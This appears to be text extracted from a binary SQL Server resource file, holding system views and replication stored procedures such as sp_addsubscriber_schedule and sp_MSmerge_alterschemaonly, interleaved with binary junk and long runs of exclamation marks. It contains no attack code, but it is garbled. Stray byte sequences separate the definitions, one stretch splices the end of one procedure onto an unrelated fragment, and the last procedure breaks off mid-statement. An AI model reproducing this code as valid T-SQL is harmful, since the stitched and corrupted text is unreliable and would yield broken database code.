!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<V"h)0 8CREATE VIEW sys.conversation_endpoints$ AS
	SELECT conversation_handle = s.handle,
		conversation_id = s.diagid,
		is_initiator = sysconv(bit, s.initiator),
		service_contract_id = r.contract,
		conversation_group_id = r.convgroup,
		service_id = r.svcid,
		lifetime = r.lifetime,
		state = r.state,
		state_desc = i.name,
		far_service = r.farsvc,
		far_broker_instance = r.farbrkrinst,
		principal_id = r.princid,
		far_principal_id = r.farprincid,
		outbound_session_key_identifier = r.outseskeyid,
		inbound_session_key_identifier = r.inseskeyid,
		security_timestamp = r.dlgopened,
		dialog_timer = r.dlgtimer,
		send_sequence = s.sendseq,
		last_send_tran_id = s.sendxact,
		end_dialog_sequence = r.enddlgseq,
		receive_sequence = r.rcvseq,
		receive_sequence_frag = r.rcvfrag,
		system_sequence = r.sysseq,
		first_out_of_order_sequence = r.firstoorder,
		last_out_of_order_sequence = r.lastoorder,
		last_out_of_order_frag = r.lastoorderfr,
		is_system = sysconv(bit, r.status & 1),
		priority = r.priority
	FROM sys.sysdesend s
	JOIN sys.sysdercv r ON r.handle = s.handle AND r.diagid = s.diagid AND r.initiator = s.initiator
	LEFT JOIN sys.syspalnames i ON i.class = 'CEST' AND i.value = r.state
0[	@ 8CREATE VIEW sys.dm_os_memory_cache_counters AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMORYCACHECOUNTERS)
0 18create procedure sys.sp_addsubscriber_schedule (
    @subscriber sysname,
    @agent_type smallint = 0,
    @frequency_type int = 64,
    @frequency_interval int = 1,
    @frequency_relative_interval int = 1,
    @frequency_recurrence_factor int = 0,
    @frequency_subday int = 4,
    @frequency_subday_interval int = 5,
    @active_start_time_of_day int = 0,
    @active_end_time_of_day int = 235959,
    @active_start_date int = 0,
    @active_end_date int = 99991231,
    @publisher sysname = NULL
        ) AS

    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int
    DECLARE @msg nvarchar(255)

    -- Heterogeneous publishers
    DECLARE @publisher_local sysname
    
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** If @publisher is NULL, set @publisher_local to @@SERVERNAME
    ** otherwise, set @publisher_local to @publisher
    */
    IF @publisher IS NULL
    BEGIN
        select @publisher_local = publishingservername()
    END 
    ELSE
    BEGIN
	/* Check if publisher exists */
  	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher	
	IF @retcode <> 0
		RETURN (@retcode)
    /* For heterogeneous publisher, the current database must be the */
    /* distribution db for the publisher */

        select @publisher_local = @publisher

        IF NOT EXISTS ( select * from master.dbo.sysservers s, msdb..MSdistpublishers m
        where UPPER(s.srvname collate database_default) = UPPER(m.name collate database_default)
        and UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
        and UPPER(m.distribution_db collate database_default) = UPPER(DB_NAME()) collate database_default
        )
        RETURN (1)   
    
    IF @@ERROR <> 0 
        RETURN (1)
    
    END 

    /*
    ** Parameter Check:  @subscriber.
    ** Check to make sure that the subscriber doesn't already exist, and
    ** that the name is a valid non-null identifier.
    */

    IF @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_addsubscriber_schedule')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @subscriber

    IF @@ERROR <> 0 OR @retcode <> 0
    RETURN (1)

    if LOWER(@subscriber) = 'all'
        BEGIN
            RAISERROR (14032, 16, -1, '@subscriber')
            RETURN (1)
        END

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
				                                       @distribdb = @distribdb   OUTPUT,
				                                       @publisher = @publisher

    IF @@error <> 0
        BEGIN
         RAISERROR (14071, 16, -1)
         RETURN (1)
     END

    IF @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSadd_subscriber_schedule'
    EXEC @retcode = @distproc
         @publisher_local,
         @subscriber,
         @agent_type,
         @frequency_type,
         @frequency_interval,
         @frequency_relative_interval,
         @frequency_recurrence_factor,
         @frequency_subday,
         @frequency_subday_interval,
         @active_start_time_of_day,
         @active_end_time_of_day,
         @active_start_date,
         @active_end_date
    
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14042, 16, -1)
        RETURN (1)
    END

    RETURN (0)
0C P8th>F0 	8CREATE PROCEDURE sys.sp_MSadd_subscriber_schedule
(
    @publisher sysname,
    @subscriber sysname,
    @agent_type smallint = 0,   -- 0 for distribution agent, 1 for merge agent
    @frequency_type int = 4,
    @frequency_interval int = 1,
    @frequency_relative_interval int = 1,
    @frequency_recurrence_factor int = 0,
    @frequency_subday int = 4,
    @frequency_subday_interval int = 5,
    @active_start_time_of_day int = 0,
    @active_end_time_of_day int = 235959,
    @active_start_date int = 0,
    @active_end_date int = 99991231
)
AS
begin
   set nocount on
   declare @retcode int

    --
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(21089, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_subscriber_schedule', 'distribution')
        return (1)
    end
    
   	/* Add the subscriber to dbo.sysservers as a RPC server, if it does not
  	** already exist.
   	*/
   	if not exists (select * from  master.dbo.sysservers where  UPPER(srvname) = UPPER(@subscriber))
	begin
      	DECLARE @upper_subscriber sysname

		SELECT @upper_subscriber = UPPER(@subscriber collate database_default)
		
        exec @retcode = dbo.sp_addserver @upper_subscriber
    	if @retcode <> 0
    		return 1
    end

	/* only insert if it doesn't exist */
	if not exists (select * 
				from MSsubscriber_schedule 
				where UPPER(publisher) = UPPER(@publisher) 
					and UPPER(subscriber) = UPPER(@subscriber) 
					and agent_type = @agent_type)
	begin
           insert MSsubscriber_schedule (publisher, subscriber, agent_type, 
		      frequency_type, frequency_interval, frequency_relative_interval,
		      frequency_recurrence_factor, frequency_subday, frequency_subday_interval,
		      active_start_time_of_day, active_end_time_of_day, active_start_date,
		      active_end_date)
		      
		      values (@publisher, @subscriber, @agent_type, 
		      @frequency_type, @frequency_interval, @frequency_relative_interval,
		      @frequency_recurrence_factor, @frequency_subday, @frequency_subday_interval,
		      @active_start_time_of_day, @active_end_time_of_day, @active_start_date,
		      @active_end_date)
		   if @@error <> 0
		      return 1
	end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b'Vb`_<e
K0I 8CREATE VIEW sys.dm_hadr_availability_group_states AS
	SELECT 
		ags.group_id,
		primary_replica = CAST (ags.primary_replica AS NVARCHAR(128)),
		primary_recovery_health = CASE
			WHEN ags.local_replica_role = 1 THEN ars.recovery_health_aggr
			ELSE NULL END,
		primary_recovery_health_desc = CASE
			WHEN (ags.local_replica_role = 1 AND ars.recovery_health_aggr = 0) THEN CAST ('ONLINE_IN_PROGRESS' AS NVARCHAR(60))
			WHEN (ags.local_replica_role = 1 AND ars.recovery_health_aggr > 0) THEN CAST ('ONLINE' AS NVARCHAR(60))
			ELSE CAST (NULL AS NVARCHAR(60)) END,
		secondary_recovery_health = CASE
			WHEN ags.local_replica_role = 2 THEN ars.recovery_health_aggr
			ELSE NULL END,
		secondary_recovery_health_desc = CASE
			WHEN (ags.local_replica_role = 2 AND ars.recovery_health_aggr = 0) THEN CAST ('ONLINE_IN_PROGRESS' AS NVARCHAR(60))
			WHEN (ags.local_replica_role = 2 AND ars.recovery_health_aggr > 0) THEN CAST ('ONLINE' AS NVARCHAR(60))
			ELSE CAST (NULL AS NVARCHAR(60)) END,
		synchronization_health = CASE
			WHEN ars.synchronization_health_aggr IS NULL THEN CAST (0 AS TINYINT)			-- NOT_HEALTHY
			WHEN ags.configured_replica_count > ars.replica_count THEN CAST (0 AS TINYINT)	-- NOT_HEALTHY (one or more replicas/DBs not joined)
			ELSE CAST (ars.synchronization_health_aggr AS TINYINT) END,
		synchronization_health_desc = CASE
			WHEN ars.synchronization_health_aggr IS NULL THEN CAST ('NOT_HEALTHY' AS NVARCHAR(60))
			WHEN ags.configured_replica_count > ars.replica_count THEN CAST ('NOT_HEALTHY' AS NVARCHAR(60))
			WHEN ars.synchronization_health_aggr = 2 THEN CAST ('HEALTHY' AS NVARCHAR(60))
			WHEN ars.synchronization_health_aggr = 1 THEN CAST ('PARTIALLY_HEALTHY' AS NVARCHAR(60))
			ELSE CAST ('NOT_HEALTHY' AS NVARCHAR(60)) END
	FROM
		sys.dm_hadr_internal_availability_group_states ags
		LEFT OUTER JOIN
		(
			SELECT 
				group_id,
				replica_count = COUNT (*),
				recovery_health_aggr = MAX (recovery_health),
				synchronization_health_aggr = MIN (synchronization_health)
			FROM 
				sys.dm_hadr_availability_replica_states 
			GROUP BY group_id
		)
		AS ars
		ON ags.group_id = ars.group_id
0`@ h8--
-- Name:
-- 		sp_MSgetversion
--
-- Description:
--     Get the server product version, license type and package type.
--     This procedure is for downlevel compatibility since pre-SQL11 subscribers depend on it.  
--	
-- Returns:
--  	0-Success 
--
-- Security: 
--      Internal

CREATE PROCEDURE sys.sp_MSgetversion
AS
BEGIN
    /* 
    * Dev Note (VSTS#749780): 
    * sp_MSgetversion was removed in Denali since it was an internal sp and deprecated. 
    * We re-implement it in repl for downlevel compatibility.
    * Repl agents in Denali do not use it.
    *
    * The package type is not available directly in serverproperty.
    * We do some simple translation from engineedition.The values are,
    *    PACKAGE_STANDARD = 2 ;
    *    PACKAGE_ENTERPRISE = 3 ;
    *    PACKAGE_MSDE = 4 ;
    *    PACKAGE_EXPRESS = 5 ;
    *    ENGINE_MSDE = 1 ;
    *    ENGINE_STANDARD = 2 ;
    *    ENGINE_ENTERPRISE = 3 ;
    *    ENGINE_EXPRESS = 4 ;
    * In fact nobody cares about the package type, we just make it complete.
    */
    SELECT SERVERPROPERTY('ProductVersion'), 
        CASE SERVERPROPERTY('LicenseType')
            WHEN 'PER_SEAT' THEN 1
            WHEN 'PER_PROCESSOR' THEN  2
            -- Just keep same behavior as the old sp, return 1 for other cases
            -- Keep the PER_SEAT case to indicate the licensetype
            ELSE 1
        END,
        CASE SERVERPROPERTY('EngineEdition')
            WHEN 1 THEN 4
            WHEN 4 THEN 5
            ELSE SERVERPROPERTY('EngineEdition')
        END 
    RETURN 0
END
08Z@ r8
create procedure sys.sp_MSdeletepeerconflictrow
(
	@originator_id nvarchar(32) = '%' ,--int
	@origin_datasource nvarchar(255) = '%', --int
	@tran_id nvarchar(40) = '%', --varbinary(16)
	@row_id nvarchar(19) = '%',  -- timestamp
	@conflict_table nvarchar(270)
)
as 
begin
    set nocount on
    declare @retcode int
                ,@cmd nvarchar(4000)
                ,@startoffset int
                ,@table	sysname
                ,@schema sysname
				,@whcmd nvarchar(4000) = N'(__$row_id is not null) '


    /*
    **  Security check.  restrict to 'sysadmin' and member of db_owner role
    */ 
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return (1)

    if (@conflict_table is NULL)
    begin
        raiserror(14043, 16, 1, '@conflict_table', 'sp_MSdeletepeerconflictrow')
        return (1)
    end
    --
    -- check if the conflict table is owner qualified
    -- and build the delete string as necessary
    --
    select @table = PARSENAME(@conflict_table, 1),
    		@schema = PARSENAME(@conflict_table, 2)

    begin tran
    save tran tr_deletepeerconflictrow

    if (@row_id != N'%') --delete the corresponding winner or loser record
    begin
    	select @cmd = N'delete ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table) + N'
    				    where __$row_id in (
    						select __$row_id
    						from ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table) + N'
    						where __$change_id = ' + @row_id + N'
    						union
    						select __$change_id
    						from ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table) + N'
    						where __$row_id = ' + @row_id + N' and __$change_id is not null)'
    	 execute (@cmd)
    	 if @@error <> 0
    	 	goto UNDO
    end
    		
    select @cmd = 'delete ' + ISNULL(NULLIF(QUOTENAME(@schema) + N'.', N'.'), N'') + QUOTENAME(@table)

    if (@originator_id != N'%')
    begin
          select @whcmd = @whcmd + N' and __$originator_id = ' + QUOTENAME(@originator_id, '''')
    end
    if (@origin_datasource != N'%')
    begin
           select @whcmd = @whcmd + N' and __$origin_datasource = ' + QUOTENAME(@origin_datasource, '''')
    end
    if (@tran_id != N'%')
    begin
           select @whcmd = @whcmd + N' and __$tranid = ' + QUOTENAME(@tran_id, '''')
    end
    if (@row_id != N'%')
    begin
            select @whcmd = @whcmd + N' and __$row_id = ' + @row_id --delete the specified record: either loser or winner
    end
	select @cmd = @cmd + N' where ' + @whcmd
    execute (@cmd)
    if @@error <> 0
    	 	goto UNDO

    commit tran
    return (0)

UNDO:
   rollback tran tr_deletepeerconflictrow
   commit tran 

   raiserror(21542, 16, 1, @@error, 'sp_MSdeletepeerconflictrow')
   return (1)

end
uery

	RETURN (0)
END
admin_applock = 1

    --loop through schema only publications/articles
    exec @retcode = sys.sp_MSmerge_alterschemaonly @qual_object_name = @qual_object_name
                                                ,@objid = @objid
                                                ,@pass_through_scripts = @pass_through_scripts
                                                ,@objecttype = @objecttype
    if @retcode <>0 or @@ERROR<>0
        goto FAILURE

    --merge does not have table based publications/articles for now
    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    return 0

FAILURE:
    IF @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION sp_MSmerge_alterview
        commit tran
    end
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d`<"jƶN0/ |8create procedure sys.sp_MSmerge_alterschemaonly 
(
    @qual_object_name nvarchar(512) --qualified 3-part-name            
    ,@objid    int
    ,@pass_through_scripts nvarchar(max)
    ,@objecttype varchar(32)
)
AS
    set nocount on
    declare @merge_artid uniqueidentifier 
            ,@pubid uniqueidentifier
            ,@retcode int
            ,@subscription_active int
            ,@include_ddl int

        declare @publisher sysname,
                 @publisher_db sysname,
                     @is_publisher bit,
                     @islightweight bit

    declare @dest_table sysname
            ,@dest_owner sysname             
            ,@qual_dest_object nvarchar(512)

    declare @got_merge_admin_applock bit

    select @got_merge_admin_applock = 0

    select @include_ddl = 0x1      -- replicate_ddl is turned on by sp_addmergepublication
        ,@subscription_active = 1  -- 1 for active
        ,@retcode = 0

    if is_member('db_owner') <> 1
    begin
        raiserror (21050, 16, -1)
        return (1)
    end

    --alter schema only can be performed only from original publisher of the table.
    --except from merge agent, which propagate ALTER statement to subscribers
    if sessionproperty('replication_agent') <> 1
    begin
            if NOT exists (select * from dbo.sysmergeextendedarticlesview 
                            where objid=@objid and 
                                  pubid in 
                                    (select pubid from dbo.sysmergepublications 
                                        where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                              publisher_db=db_name()))
            begin
                raiserror(21531, 16, -1)
                return 1
            end
    end

    -- add object owner, object name to pass through script
    
    -- this will always get the pubid of the publisher
    -- if this cmd was executed at the subscriber, error would be thrown by the prev 'IF' condition
    select @pubid =  pubid from dbo.sysmergepublications 
                                where upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
                                      publisher_db=db_name()
    
     select @dest_table=destination_object, @dest_owner=destination_owner
                                from dbo.sysmergeextendedarticlesview 
                                where pubid=@pubid and objid=@objid
    
    if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
    	select @qual_dest_object = QUOTENAME(@dest_owner) + N'.' 
    else 
    	select @qual_dest_object = N'' 
    
    if(@dest_table is not null) and (len(@dest_table) > 0)
    	select @qual_dest_object = @qual_dest_object + QUOTENAME(@dest_table)
    else 
    	select @qual_dest_object = @qual_object_name                                    
    
    select @pass_through_scripts = N'ALTER ' + @objecttype + N' '
                                + @qual_dest_object + N' '
                                + @pass_through_scripts


    -- real work
    declare @snapshot_ready int, @sync_mode int, @replicate_ddl int

    begin tran
    save tran sp_MSmerge_alterschemaonly

    -- obtain the snapshot/DDL/admin proc applock to avoid having contention with snapshot
    -- Attempt to get the lock with no wait
    exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                  @lockowner = N'Transaction'
    if @retcode<>0 or @@error<>0
    begin
        raiserror(21386, 16, -1, @qual_object_name)
        goto FAILURE
    end

    select @got_merge_admin_applock = 1

    --loop through relavent publications/articles: note sysmergeschemaarticles exists in both heavy and light weight
    declare #mergepubarticle CURSOR LOCAL FAST_FORWARD for 
        select DISTINCT a.artid, a.pubid, p.publisher, p.publisher_db, p.snapshot_ready, p.sync_mode, p.replicate_ddl
            from sysmergeschemaarticles a 
            join sysmergepublications p on a.pubid = p.pubid 
            join dbo.sysmergesubscriptions s on a.pubid = s.pubid
            where a.objid = @objid 
                    and s.status = @subscription_active 
                    and (p.replicate_ddl & @include_ddl) = @include_ddl

    open #mergepubarticle
    fetch #mergepubarticle into @merge_artid, @pubid, @publisher, @publisher_db, @snapshot_ready, @sync_mode, @replicate_ddl
    while (@@fetch_status <> -1)
    BEGIN
        set @islightweight= null
        select top 1 @islightweight= lightweight from dbo.sysmergearticles where pubid=@pubid

        if 1=@islightweight
        begin
            set @snapshot_ready=0
            set @sync_mode=0
            set @replicate_ddl=0
        end
        
        -- check if this publication is at publisher
        if (
            upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) 
            and db_name()=@publisher_db
        )
        begin
            set @is_publisher= 1
        end
        else
        begin
            set @is_publisher= 0
        end

        if (1=@is_publisher and 1=@snapshot_ready)
        begin 
            -- translation for SSCE
            if @sync_mode=1 and @replicate_ddl&1<>0
            begin
                set @sync_mode=1
                exec @retcode = sys.sp_MSNonSQLDDLForSchemaDDL @artid = @merge_artid
                                                        , @pubid=@pubid
                                                          ,@ddlcmd = @pass_through_scripts
            end
            -- pass through ddl text for normal db
            if @replicate_ddl&1<>0
            begin
                exec @retcode = sys.sp_MSmerge_passDDLcmd @artid=@merge_artid
                                                        , @pubid=@pubid
                                                          ,@ddlcmd = @pass_through_scripts
            end
            if @retcode <>0 or @@ERROR<>0
                goto DROPTRAN
        end
        fetch #mergepubarticle into @merge_artid, @pubid, @publisher, @publisher_db, @snapshot_ready, @sync_mode, @replicate_ddl
    END
    close #mergepubarticle
    deallocate #mergepubarticle

    exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    commit tran
    return 0

DROPTRAN:
    close #mergepubarticle
    deallocate #mergepubarticle

FAILURE:
    IF @@TRANCOUNT > 0
    begin
        if @got_merge_admin_applock=1
            exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
        ROLLBACK TRANSACTION sp_MSmerge_alterschemaonly
        commit tran
    end
    return 1
0 
8CREATE FUNCTION sys.fn_replisvalidwindowsloginformat
(
    @win_login nvarchar(257)
)
RETURNS bit 
AS
BEGIN
	-- the domain and login must be non-empty for the
	-- login to be considered a valid windows login
	IF EXISTS (SELECT * 
				FROM sys.fn_replparsewindowslogin (@win_login)
				WHERE domain != N''
					AND login != N''
					AND domain IS NOT NULL
					AND login IS NOT NULL)
		-- NOTE : 	Never enable the next line... the issues
		-- 			is that this function could be called at 
		--			the publisher but the login must be valid
		--			at the distributor and this may fail even
		--			if the login is valid at the distributor.
		-- AND SUSER_SID(@win_login, 0) IS NOT NULL
	BEGIN
		RETURN 1
	END
	
	RETURN 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`{<	Ki-S0 #8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_tables_info_rowset_64;2
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0@ F8create procedure sys.sp_script_reconciliation_xdelproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptdelproccore 
                @artid = @artid
                ,@format = 3            -- XCALL format
                ,@mode = 2              -- snapshot reconciliation mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
0@ D81h>
"0R"@ >8
create procedure sys.sp_MScheckmetadatamatch
    (@metatype tinyint, 
     @rowguid uniqueidentifier,
     @tablenick int,
     @lineage varbinary(311),
     @match int output,
     @compatlevel int = 10,     -- backward compatibility level, default=Sphinx
     @lineage_new varbinary(311) = NULL,
     @new_type_contents bit = NULL) 
as
    if @compatlevel < 90
        set @lineage= {fn LINEAGE_80_TO_90(@lineage)}
    
    if (@metatype = 3 or @metatype = 5 or @metatype = 6)
    begin
        if not exists (select * from dbo.MSmerge_contents where tablenick = @tablenick and rowguid = @rowguid)
            select @match = 1
        else
            select @match = count(*) from dbo.MSmerge_contents with (updlock) where
                tablenick = @tablenick and rowguid = @rowguid and lineage = @lineage
    end
    else
        select @match = count(*) from dbo.MSmerge_contents with (updlock) where
                tablenick = @tablenick and rowguid = @rowguid and lineage = @lineage
                
    -- In the rare case when the row has been changed behind our back, make sure the new change is not the
    -- same one we are trying to make right now. 
    if @match = 0 and @lineage_new is not null and @new_type_contents is not null
    begin
        if @compatlevel < 90
            set @lineage_new= {fn LINEAGE_80_TO_90(@lineage_new)}

        if @new_type_contents = 1
        begin
            if exists (select * from dbo.MSmerge_contents 
                            where tablenick = @tablenick 
                            and rowguid = @rowguid
                            and lineage = @lineage_new)
                        select @match = -1              -- the desired change has already been made. The calling upd/del proc
                                                                        -- should return without indicating an error which would unnecessarily 
                                                                        -- add the row to the retry list. In this case, retry is not needed
                                                                        -- since the result of retry would be a no-op anyway.
        end
        else
        begin
                if exists (select * from dbo.MSmerge_tombstone
                                        where tablenick = @tablenick 
                                        and rowguid = @rowguid
                                        and lineage = @lineage_new)
                        select @match = -1              -- the desired change has already been made. The calling upd/del proc
                                                                        -- should return without indicating an error which would unnecessarily 
                                                                        -- add the row to the retry list. In this case, retry is not needed
                                                                        -- since the result of retry would be a no-op anyway.
        end
    end
    
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	
`wt<FN0@ 8CREATE PROCEDURE sys.sp_populateqtraninfo 
as
begin
    --
    -- initiate local transaction
    --
    begin tran sp_populateqtraninfo
    save tran sp_populateqtraninfo
    --
    -- see if we need to populate
    --
    if EXISTS (SELECT * FROM dbo.MSreplication_queue)
    begin
        --
        -- There is data in queue
        -- Populate MSrepl_queuedtraninfo based on what is there
        --
        declare @publisher sysname
                ,@publisherdb sysname
                ,@publication sysname
                ,@tranid sysname
                ,@orderkey bigint
                ,@commandcount bigint
                
        declare #htctranseq cursor local for
            select publisher, publisher_db, publication, tranid, orderkey
            from dbo.MSreplication_queue with (READPAST) 
            order by orderkey asc
        open #htctranseq
        fetch #htctranseq into @publisher, @publisherdb, @publication, @tranid, @orderkey
        IF @@ERROR <> 0
            goto cleanup
        while (@@fetch_status != -1)
        begin
            --
            -- update/insert entry in MSrepl_queuedtraninfo for this transaction
            --                
            if exists (select *
                from dbo.MSrepl_queuedtraninfo
                where publisher = UPPER(@publisher) 
                    and publisher_db = @publisherdb 
                    and publication = @publication
                    and tranid = @tranid)
            begin
                --
                -- row for this transaction exists - update it
                --
                update dbo.MSrepl_queuedtraninfo
                set maxorderkey = @orderkey
                    ,commandcount = commandcount + 1
                where publisher = UPPER(@publisher) 
                    and publisher_db = @publisherdb 
                    and publication = @publication
                    and tranid = @tranid
            end
            else
            begin
                --
                -- row for this transaction does not exist - insert it
                --
                insert into dbo.MSrepl_queuedtraninfo (publisher,publisher_db,publication,tranid,maxorderkey,commandcount)
                values (UPPER(@publisher),@publisherdb,@publication,@tranid,@orderkey,1)
            end
            IF @@ERROR <> 0
